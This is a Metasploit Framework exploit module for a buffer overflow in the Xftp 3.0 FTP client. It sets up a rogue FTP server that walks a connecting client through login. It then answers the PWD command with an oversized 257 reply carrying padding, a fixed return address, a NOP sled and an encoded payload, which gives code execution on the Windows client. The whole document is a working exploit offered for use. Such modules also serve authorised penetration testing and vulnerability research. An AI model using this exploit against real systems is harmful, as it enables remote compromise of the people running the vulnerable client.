Xftp FTP Client 3.0 PWD Remote Buffer Overflow Exploit

`##  
# $Id: xftp_client_pwd.rb 9143 2010-04-26 18:56:46Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::TcpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Xftp FTP Client 3.0 PWD Remote Buffer Overflow Exploit',  
'Description' => %q{  
This module exploits a buffer overflow in the Xftp 3.0 FTP client that is triggered   
through an excessively long PWD message.  
},  
'Author' =>  
[  
'zombiefx', # Original exploit author  
'dookie' # MSF module author  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 9143 $',  
'References' =>  
[  
[ 'OSVDB', '63968'],  
[ 'URL', 'http://www.exploit-db.com/exploits/12332' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Payload' =>  
{  
'Space' => 434,  
'BadChars' => "\x00\x0a",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows Universal', { 'Ret' => 0x100123AF } ], # JMP ECX in nslicense.dll  
],  
'Privileged' => false,  
'DisclosureDate' => 'Apr 22 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),  
OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),  
], self.class)  
end  
  
def on_client_connect(client)  
return if ((p = regenerate_payload(client)) == nil)  
  
buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"  
client.put(buffer)  
end  
  
def on_client_data(client)  
  
# Get the client username  
client.get_once  
  
# Prompt the client for the password.  
user = "331 Anonymous access allowed.\r\n"  
client.put(user)  
client.get_once  
  
# Handle the clients PWD command.  
pass = "230 Login successful.\r\n230 User logged in.\r\n"  
client.put(pass)  
client.get_once  
  
# Send the exploit  
sploit = "257 \"/"  
sploit << rand_text_alpha_upper(1019)  
sploit << [ target.ret ].pack('V')  
sploit << make_nops(55)  
sploit << payload.encoded  
sploit << "\" is current directory.\r\n"  
  
client.put(sploit)  
  
# Get the CWD from the client  
client.get_once  
  
end  
  
end  
`